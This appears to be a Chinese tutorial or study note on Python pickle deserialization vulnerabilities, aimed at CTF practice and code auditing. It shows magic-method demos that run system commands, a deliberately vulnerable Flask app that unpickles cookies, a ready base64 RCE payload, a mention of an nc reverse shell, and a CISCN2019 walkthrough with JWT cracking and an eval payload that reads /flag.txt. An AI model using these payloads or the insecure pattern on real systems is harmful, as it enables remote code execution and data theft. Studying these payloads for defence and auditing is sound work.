#知识点:
1、Python-反序列化函数使用
2、Python-反序列化魔术方法
3、Python-反序列化 POP 链构造(payload构造)
4、Python-自动化审计 bandit 使用
#前置知识:
函数使用:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件,将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
各类语言函数:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle marshal PyYAML shelve PIL unzip
Ø 原理-反序列化魔术方法-调用理解
Ø CTF-反序列化漏洞利用-构造&RCE
Ø CTF-CISCN2019 华北-JWT&反序列化
Ø 代码审计-自动化工具-bandit 安装及使用
#原理-反序列化魔术方法-调用理解
-魔术方法利用:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()
具体代码:
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
Pickle.dumps是序列化操作,pickle.loads是反序列化操作
# 构造 __setstate__ 方法
具体代码:
class SerializePerson():
def __init__(self, name):#自启动方法
self.name = name
# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器
print(tmp)
#序列化魔术方法调用-__getstate__
具体代码:
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)
#反序列化安全漏洞产生-DEMO
具体代码:
class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')
def __reduce__(self):
print('反序列化调用')
return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
#CTF-反序列化漏洞利用-构造&RCE
环境介绍:利用python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞
具体环境代码:
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(
host='192.168.101.1',
port=5000,
debug=True
)
根据以上代码得知,它会接收Cookie值,传给user进行反序列化,也就是说我们可以在cookie上写入我们的pop链,同时需注意base64加密
Flag.py——pop链构造gASVHAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjARjYWxjlIWUUpQu
通过bp,将user的序列化数据放到cookie中,成功执行命令
进行nc反弹:
本地监听端口
通过bp进行手动请求
也可以写入脚本自动请求
#CTF-CISCN2019 华北-JWT&反序列化
通过提示>寻找LV6 >购买修改支付逻辑>绕过admin限制需修改wt值- >爆破jwt密匙> 重组jwt值成为admin->购买进入会员中心>源码找到文件压缩源码> Python代码审计反序列化>构造读取flag代码进行序列化打印->提交获取
考点1: JWT身份验证攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt- -cracker
考点2: Python代码审计反序列化:
自动工具: https/lithub.com/PyCQA/bandit
参考资料: https /github .com/bit4woo/python_ sec
1. 获取LV6
写一个脚本
import requests,time
url="http://78a126d5-a835-4226-abe9-4a5fb6a79841.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
time.sleep(0.2)
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break
else:
print(str(i)+'|no')
2.购买修改支付逻辑
修改表单
3.绕过admin限制需修改wt值
修改JWT
4.爆破jwt密匙c-jwt-cracker
5.重组jwt值成为admin
6.购买进入会员中心
7.源码找到文件压缩源码
下载文件www.zip
8.Python代码审计反序列化
直接查看特定函数——pickle.loads
得知会对值进行url解码,所以构造pop时需要考虑到这点
9.构造读取flag代码进行序列化打印
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
需要考虑对方的语言环境
确定对方语言版本:
- 看关键函数
- 查看print(如:python2的print不需要括号,python3需括号
10.提交获取
查询谁调用此对象
#代码审计-自动化工具-bandit 安装及使用
审计出漏洞地方